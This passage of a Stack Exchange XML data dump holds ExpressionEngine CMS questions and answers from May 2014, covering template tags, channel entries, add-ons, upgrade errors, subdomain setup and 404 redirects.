CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22017" PostTypeId="2" ParentId="22015" CreationDate="2014-05-16T16:07:20.430" Score="1" Body="&lt;p&gt;Unfortunately we've not had time to implement it for Store v2 as of yet. There are a few complications with that gateway that we found out about when building integration with Store v1. For that reason it took a bit more work than the others and as of yet we haven't had a chance to build a gateway extension for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few people have mentioned they'd be interesting in sponsoring development of it but as of yet we've not had any follow-ups. The option is always there for split cost sponsorship. If enough people are interested then it wouldn't work out that much at all when divided. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-05-16T16:07:20.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22018" PostTypeId="1" CreationDate="2014-05-16T16:24:28.060" Score="0" ViewCount="56" Body="&lt;p&gt;I've got a music site where I am displaying a list of recordings in a &quot;recordings&quot; channel on one page with some info about each one; I'm not using a single-entry page for these. For each recording, I'm using &lt;code&gt;&amp;lt;a name=&quot;{entry_id}&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; so I can link to the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a separate &quot;press clips&quot; channel, with a separate category for each recording, so that it's easy to display all the reviews for a specific recording on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is link the category image from the &quot;press clips&quot; channel to the recordings page listing for that particular recording, so I'm looking for a link like &lt;code&gt;&amp;lt;a href=&quot;{site_url}music/recordings#{entry_id}&lt;/code&gt;. But I can't figure the way to get the &lt;code&gt;{entry_id}&lt;/code&gt; automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be using a relationship field (something I'm not so familiar with using) to link the recording with the press clips? Or is there some simple way to do this? &lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2014-05-22T07:38:51.817" Title="Linking a category in one channel to an entry ID in another" Tags="|categories|entrylinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22019" PostTypeId="2" ParentId="21649" CreationDate="2014-05-16T16:50:26.347" Score="4" Body="&lt;p&gt;Bluehost (and maybe other hosting companies) filters these activation messages. What I was told by the level III tech:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This was difficult to track down, but I was able to find that the&#xA;  message was getting caught in a spam filter because of the subject of&#xA;  the message subject=&quot;Enclosed+is+your+activation+code&quot;. This looks to&#xA;  be a common subject that unsolicited messages use, do you know if you&#xA;  are able to customize the subject of your registration notices to&#xA;  prevent the messages being categorized with unsolicited messages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To fix the issue you need to change the email subject. That can be done by logging into the control panel and then going to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design &gt; Message Pages &gt; Email Notifications&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &quot;Member Account Activation Instructions&quot;. You can change the email subject and body here. I used &quot;Welcome to [sitename]!&quot; as the subject and also changed the body to be a bit more friendly and less spammy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tested with an email address that had failed every time and voila, it worked. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-05-16T16:50:26.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22020" PostTypeId="2" ParentId="22014" CreationDate="2014-05-16T18:28:33.370" Score="5" Body="&lt;p&gt;Have you checked all of your installed add-ons for updated versions? White screens are also typically a sign of hidden errors, so make sure that &lt;code&gt;display_errors&lt;/code&gt; is enabled in your PHP environment, and set the &lt;code&gt;$debug&lt;/code&gt; value in the &lt;code&gt;admin.php&lt;/code&gt; file to &lt;code&gt;1&lt;/code&gt;. That may reveal a PHP error that identifies the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, and you think you have the latest versions of each add-on but it's still not working, as a last measure of debugging you could flip the &lt;code&gt;enabled&lt;/code&gt; field for each entry in the &lt;code&gt;exp_extensions&lt;/code&gt; table to &lt;code&gt;n&lt;/code&gt; (after noting which are already y/n so that you can restore those values after testing). Then re-enable them one at a time by updating each row to &lt;code&gt;y&lt;/code&gt;. When you run into the problem again, you've at least identified the offending add-on.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-16T18:28:33.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22021" PostTypeId="1" CreationDate="2014-05-16T18:40:23.380" Score="1" ViewCount="117" Body="&lt;p&gt;I have a select menu where the values are loaded from a channel field.  Is it possible to set the sort order using Freeform Pro?  The code below does not work and I have not found any documentation.  Surely though there must be a way to sort the contents of a select menu loaded from a channel by something other than entry_id. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           {freeform:field:field_001&#xA;            attr:id=&quot;493&quot;&#xA;            attr:class=&quot;form-control&quot;&#xA;            attr:orderby=&quot;title&quot;&#xA;            attr:sort=&quot;asc&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried this code below but obviously the data would not submit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;field_001&quot;&amp;gt;First Choice&amp;lt;/label&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;* &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;   &#xA;            &amp;lt;select name=&quot;field_001&quot; class=&quot;form-control&quot; id=&quot;dd_biology_reu_faculty_001&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;&quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;                {exp:channel:entries channel=&quot;channel_name&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}                    &#xA;                    &amp;lt;option value=&quot;{entry_id}|~|{title}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/select&amp;gt; &amp;lt;/p&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-06-15T19:30:18.333" Title="set the order to a Select menu loaded from channel fields" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22022" PostTypeId="1" CreationDate="2014-05-16T18:48:39.327" Score="0" ViewCount="151" Body="&lt;p&gt;EE 2.7.3 (recently upgraded from v2.5.2 to v2.7.3)&#xA;Structure 3.3.14.5&#xA;PHP 5.3.3&#xA;MySQL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently updated from v2.5.2 to v2.7.3.  I'm now seeing in Structure that the View Page links dont work anymore.  What I mean by that is when I click the View Page button in the EE CMS, Structure page, I see the browser start to load the page (i see the loading icon in Chrome appear) but then it stops before taking me to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We run the entire site under https://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what one of the urls from a View Page link looks like...What do you think could be causing this issue?  Do you have any suggestions for me to try to fix it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://ourwebsite.com/system/index.php?S=aa6cefbdfb8a27770b11082fc7bd71cb&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=structure&amp;amp;method=link&amp;amp;entry_id=322&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1711" LastActivityDate="2016-11-03T13:40:58.233" Title="EE and Structure - View Page links don't work" Tags="|structure|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22023" PostTypeId="1" CreationDate="2014-05-16T19:02:20.560" Score="2" ViewCount="185" Body="&lt;p&gt;I have recently installed MSM on my EE build. Both are the very latest. I followed the tutorial all the way through: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/install.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/sites/install.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i visit the subdomain on my local host it shows up fine in terms of the styles being there however when I make an edit to a template via the control panel/or text editor it does not show up on the subdomain. I have all my templates saved out as files. If i edit the index page for the main site, it shows up on both the main and subdomain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my main site is located in a public_html folder on my computer and at the same level is the subdomain folder named appropriately.  I am sorry my question is so high level. I bet I am just missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I have added an htaccess file to my subdomain folder with no success. This is all on apache on my local computer.&lt;/p&gt;&#xA;" OwnerUserId="3115" LastActivityDate="2017-01-23T13:11:42.653" Title="MSM and EE question (subdomain using main domain's templates)" Tags="|multi-site-manager|subdomain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22024" PostTypeId="2" ParentId="22021" CreationDate="2014-05-16T19:11:20.930" Score="1" Body="&lt;p&gt;Chalk this one up to &quot;Operator Error!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;field_001&quot;&amp;gt;First Choice:&amp;lt;/label&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;* &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;       &#xA;    &amp;lt;select name=&quot;field_001&quot; class=&quot;form-control&quot; id=&quot;field_001&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;                {exp:channel:entries channel=&quot;channel_field&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}                    &#xA;                    &amp;lt;option value=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/select&amp;gt; &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-05-16T19:11:20.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22025" PostTypeId="1" AcceptedAnswerId="22026" CreationDate="2014-05-16T19:13:06.963" Score="2" ViewCount="41" Body="&lt;p&gt;my google-fu failed again, and i have a serious problem. I have a channel and template for it called html, when i go to page.com/html/(existing article name), it works just fine, but when i go to page.com/html/(non-existing article), it shows the article with lowest ID instead. So what am i asking for? &lt;strong&gt;How to redirect user to 404 page, when he opens page.com/html/(non-existing article name)?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-16T19:17:24.883" Title="Non existing content redirection" Tags="|ee2|channel|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22026" PostTypeId="2" ParentId="22025" CreationDate="2014-05-16T19:17:24.883" Score="4" Body="&lt;p&gt;You need to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;require_entry&lt;/code&gt; parameter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; require_entry=&quot;yes&quot; [...]}&#xA;  {if no_results}&#xA;    {redirect=&quot;404&quot;}&#xA;  {/if}&#xA;  [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This parameter make the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{if no_results}&lt;/code&gt; conditional&lt;/a&gt; available.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-16T19:17:24.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22029" PostTypeId="1" CreationDate="2014-05-16T21:24:37.550" Score="0" ViewCount="97" Body="&lt;p&gt;Trying to access price of some store items in a relationship field.&#xA;The name of my store field is &lt;code&gt;shop_product_settings&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to access the price variable without using the form tag, however, it doesn't seem to work when the items are being access through a relationship field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {class_recommended_products limit=&quot;2&quot; }&#xA;    {class_recommended_products:title}&quot;&#xA;    {class_recommended_products:shop_product_settings:price}&#xA;    {class_recommended_products:shop_main_image}&#xA;  {/class_recommended_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2015-02-11T16:46:28.043" Title="Relationship field &amp; variables outside of product form" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22030" PostTypeId="2" ParentId="6466" CreationDate="2014-05-16T21:56:19.670" Score="0" Body="&lt;p&gt;The only way to do this and keep pagination every 100 would be like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE expiration_date &amp;lt; {current_time} AND expiration_date != 0 AND channel_id = 9&quot; limit=&quot;100&quot;}&#xA;{exp:channel:entries channel=&quot;your_channel&quot; status=&quot;open|closed&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot; show_expired=&quot;yes&quot; limit=&quot;1&quot; disable=&quot;pagination|member_data|categories&quot;}&#xA;{title}, {custom_field}&#xA;{/exp:channel:entries}&#xA;{pagination}{pagination_links}{/pagination}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-05-16T21:56:19.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22031" PostTypeId="2" ParentId="6466" CreationDate="2014-05-16T22:25:39.323" Score="3" Body="&lt;p&gt;To expound on my comment to &lt;a href=&quot;https://expressionengine.stackexchange.com/a/22030/366&quot;&gt;this answer&lt;/a&gt;, and I acknowledge this is a bit unorthodox, this solution will improve performance by only executing one channel entries tag. The query tag will fetch the entry IDs, and dynamically build an embed variable that we will use on a single channel entries tag for this page request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE expiration_date &amp;lt; {current_time} AND expiration_date != 0 AND channel_id = 9&quot; limit=&quot;100&quot;}&#xA;    {if count == 1}{embed=&quot;embeds/_expired_entries&quot; entry_ids=&quot;{/if}&#xA;    {entry_id}{if count != total_results}|{/if}&#xA;    {if count == total_results}&quot;}{/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed tag will only be created if the query has results, and the &lt;code&gt;{embed:embed_ids}&lt;/code&gt; variable will contain something like &lt;code&gt;134|224|313|425&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the &lt;code&gt;embeds/_expired_entries&lt;/code&gt; template we will put our channel entries tag, and feed it those entry IDs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; status=&quot;open|closed&quot; entry_id=&quot;{embed:entry_ids}&quot; dynamic=&quot;no&quot; show_expired=&quot;yes&quot; disable=&quot;pagination|member_data|categories&quot;}&#xA;    {title}, {custom_field}&#xA;    {pagination}{pagination_links}{/pagination}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-16T22:30:39.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22032" PostTypeId="2" ParentId="22022" CreationDate="2014-05-17T03:33:03.073" Score="0" Body="&lt;p&gt;I'd start by reuploading your /themes directory. When there is oddness in the CP, it's often related to missing or corrupted /themes files.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-17T03:33:03.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22033" PostTypeId="1" AcceptedAnswerId="22053" CreationDate="2014-05-17T05:26:40.733" Score="0" ViewCount="31" Body="&lt;p&gt;i am using a php class that returns jquery library if the class calls multiple times on same page it should include that jquery library  single time .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works if class called single times it works fine but if i call it multiple times it shows js conflict due to multiple times added of jquery library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i make it sigle time include only whenever the class called multiple times.... &lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-05-19T12:42:50.700" Title="php class should return JQ library single time when its calling multiple time in single template" Tags="|ee2|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22034" PostTypeId="1" CreationDate="2014-05-17T12:01:44.083" Score="0" ViewCount="79" Body="&lt;p&gt;After wrestling with categories for too long as a way of organising a gallery, I've ditched that and gone to tags instead (using the Solspace module). But I am stuck on one point of presentation on the gallery index page: is there a good way of offering visitors an easy way to view all images tagged with X without having a massive tag cloud of all available tags displayed? Can tags be tied into a simple search so that they can just input the tag they want to look at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gallery uses a one image = one entry setup.&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="352" LastEditDate="2014-05-18T18:27:18.043" LastActivityDate="2016-05-24T09:50:40.483" Title="How to offer visitors a &quot;view all with tag X&quot; option?" Tags="|solspace|search|tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22035" PostTypeId="1" AcceptedAnswerId="22328" CreationDate="2014-05-17T15:24:14.803" Score="0" ViewCount="2268" Body="&lt;p&gt;I get this error out of the blue, when trying to login to the CP, possibly because the ISP made some updates to PHP/MYSQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Error Was Encountered&#xA;Unable to load the requested file: account/login.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is version 2.1.6 - an older customer site, has been stable for a number of years, has lots of new entries every day. No dev work going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customer can't go to a later EE version until later this year. Rolling backups are taken each working day and kept for five days. The earliest backup in the current series also throws the error, which mmeans that last successful superadmin login was more than five days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end appears to be unaffected according to the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANy pointers as to where to start looking appreciated. Similar report affecting EE 2.7.2, made on Ellislab forum in February has no replies.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-05-30T21:36:18.657" Title="Unable to load the requested file: account/login.php" Tags="|ee2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22036" PostTypeId="1" AcceptedAnswerId="23735" CreationDate="2014-05-17T16:51:54.467" Score="1" ViewCount="40" Body="&lt;p&gt;When saving a template with a syntax error, EE will issue a warning, with a link to a Find &amp;amp; Replace utility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNJpi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This utility is super handy, but only seems to be available when there is a problem (usually an open-ended tag pair). Is there any way to access this, normally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find anything about it in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2014-06-16T21:08:55.610" Title="Access Find &amp; Replace Tool Without Template Warning" Tags="|templates|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22037" PostTypeId="2" ParentId="22036" CreationDate="2014-05-17T19:00:41.927" Score="0" Body="&lt;p&gt;Yes, there is. The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/search_and_replace.html&quot; rel=&quot;nofollow&quot;&gt;search and replace tool&lt;/a&gt; can be found at Tools &gt; Data &gt; Search and Replace.  The available options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site Preferences&lt;/li&gt;&#xA;&lt;li&gt;Channel Entry Titles&lt;/li&gt;&#xA;&lt;li&gt;Channel Fields&lt;/li&gt;&#xA;&lt;li&gt;Templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-17T19:00:41.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22038" PostTypeId="2" ParentId="22029" CreationDate="2014-05-17T19:54:37.430" Score="0" Body="&lt;p&gt;That may not be possible. Store takes advantage of EE's internal parsing to display the special &lt;code&gt;price&lt;/code&gt; variables inside the product details tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried this myself, but it may not be possible to use the fieldtype parameters inside a relationship tag like that. Instead, would need to use the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag to get the product details.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-17T19:54:37.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22039" PostTypeId="2" ParentId="16765" CreationDate="2014-05-18T01:19:31.347" Score="2" Body="&lt;p&gt;I look into this and couldn't find any replacement. I suggest you to go with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/pagination_spanning.html&quot; rel=&quot;nofollow&quot;&gt;default solution&lt;/a&gt;. It doesn't do everything you want to, but is better than keep all your system outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-18T01:19:31.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22040" PostTypeId="1" CreationDate="2014-05-18T06:35:08.520" Score="0" ViewCount="214" Body="&lt;p&gt;I am building a channel form for creating entries outside the control panel and I am having a small problem with uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form allows the user to upload 6 image files and the way I do it is by having 6 separate file upload fields. If try to create an entry from the control panel, I can upload each file separately. So when I am done completing the form and hit submit everything is posted almost instantly. On the channel form though the problem is that the user selects the files to upload for each one of the 6 file upload fields, but ALL the files are uploaded only once the user hits the submit button. Now imagine having 6 separate 1MB files… it could take ages for the upload to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A potential solution could be to disable the submit button once the user presses it and maybe show a message informing them that this might take a while based on the file sizes. But I believe that it would be better to have a different uploader. Something that would upload the files instantly and let the user move one with the rest of the form. A preview of the uploaded image would be nice too. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know something like this for ExpressionEngine? Is there an uploader plugin that can do what I want or any other solution?&lt;/p&gt;&#xA;" OwnerUserId="3116" LastActivityDate="2014-05-20T21:40:05.817" Title="Is there a different uploader for the Channel Form that can upload images instantly?" Tags="|file-uploads|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22041" PostTypeId="2" ParentId="22040" CreationDate="2014-05-18T07:21:28.337" Score="1" Body="&lt;p&gt;Mega Upload (&lt;a href=&quot;http://www.devdemon.com/mega_upload&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/mega_upload&lt;/a&gt;) would be a good add-on to look into for this. I use it for my channel forms.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-05-18T07:21:28.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22042" PostTypeId="1" AcceptedAnswerId="22060" CreationDate="2014-05-18T14:38:18.023" Score="0" ViewCount="537" Body="&lt;p&gt;I was upgrading my client’s website from a pretty early version (around 2.4 or something) to the latest. I followed all the steps in the upgrade process and when it started I could see it incrementally making upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it came up with this error after a while:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{“error”:” Error Number: 1060&amp;lt;/p&gt;\n\n Duplicate column name ‘includeseconds’&amp;lt;/p&gt;\n\n ALTER TABLE exp_members ADD \n\tinclude_seconds char(1) DEFAULT ‘n’ NOT NULL AFTER time_format&amp;lt;/p&gt;\n\n Filename: /www/eh20217/publichtml/system/codeigniter/system/database/DB_driver.php&amp;lt;/p&gt;\n\n Line Number: 382&amp;lt;/p&gt;”}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to do the upgrade again but it keeps carrying me to a blank page. I did some googling and decided to delete the safecracker folder from third party but that’s no help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried deleting the installer folder but when I do that the control panel appears as blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried moving the installer folder to the root and then turned off extensions via config:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config[‘allow_extensions’] = “n”;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I actually get to the CP login screen but once I submit it goes to a blank page. I’ve deleted switchee from the third party folder because I also saw that someone was getting issues with that plugin when upgrading, but it hasn’t helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also posted this as an urgent ticket since yesterday but I guess as it's weekend response time is slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2014-05-19T19:22:50.567" Title="Upgrade failed towards the end and won't continue, CP is blank" Tags="|upgrade|white-screen-of-death|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22043" PostTypeId="1" CreationDate="2014-05-18T14:45:58.617" Score="0" ViewCount="79" Body="&lt;p&gt;Is it possible to conditionally show a form field if the member password field is blank. Something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if password == &quot;&quot;}SHOW THESE FIELDS{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a Cartthrob shopping cart that auto registers member on purchase and I want to give them the opportunity of setting a password on the cart summary page. I don't want to show the set password form if they are a returning customer/member (ie password field is not blank)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &#xA;EE 2.7.2&#xA;CT 2.5&#xA;PE &lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2016-05-22T03:04:25.337" Title="Check if member password is blank" Tags="|cartthrob|members|profile-edit|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22045" PostTypeId="2" ParentId="22043" CreationDate="2014-05-19T06:17:16.937" Score="0" Body="&lt;p&gt;Unless I'm missing something if they're a member and logged in you could use the conditional &lt;code&gt;if logged_in&lt;/code&gt; to show/hide stuff or alternatively the opposite conditional &lt;code&gt;if logged_out&lt;/code&gt; to show/hide stuff as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm not sure you can create a member without a password.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-19T06:17:16.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22046" PostTypeId="2" ParentId="10793" CreationDate="2014-05-19T07:42:50.183" Score="0" Body="&lt;p&gt;If it's intermittent... this will likely be related to max database connections. Check the max user connections setting, and compare that to the number of connections open.&lt;/p&gt;&#xA;" OwnerUserId="3117" LastActivityDate="2014-05-19T07:42:50.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22047" PostTypeId="2" ParentId="22034" CreationDate="2014-05-19T07:45:44.367" Score="0" Body="&lt;p&gt;I think you're looking for the &lt;strong&gt;&lt;code&gt;{exp:tag:entries}&lt;/code&gt;&lt;/strong&gt; tag to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/tag/entries/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/tag/entries/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to display a list of channel entries associated with a particular tag.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-19T07:45:44.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22048" PostTypeId="1" CreationDate="2014-05-19T07:50:17.953" Score="0" ViewCount="588" Body="&lt;p&gt;I have a code which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; search:category=&quot;some_category&quot;}&#xA;&amp;lt;span&amp;gt;{some_field}&amp;lt;span&amp;gt;&#xA;&amp;lt;a href=&quot;www.domain.com/videos/{How to get url_title of this particular {some_field}?}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is i cant go for another exp tag inside an exp tag.I want to redirect the user to a url that has url_title of the field(this title is being populated by a field from another channel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I dont want to redirect the page to some other template.I just want to append a url title to www.something.com/videos/{append url title here...} .&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2014-05-19T11:33:43.590" LastActivityDate="2014-05-19T11:33:43.590" Title="get url_title from title?" Tags="|ee2|url|tags|url-title|title|" AnswerCount="2" CommentCount="1" 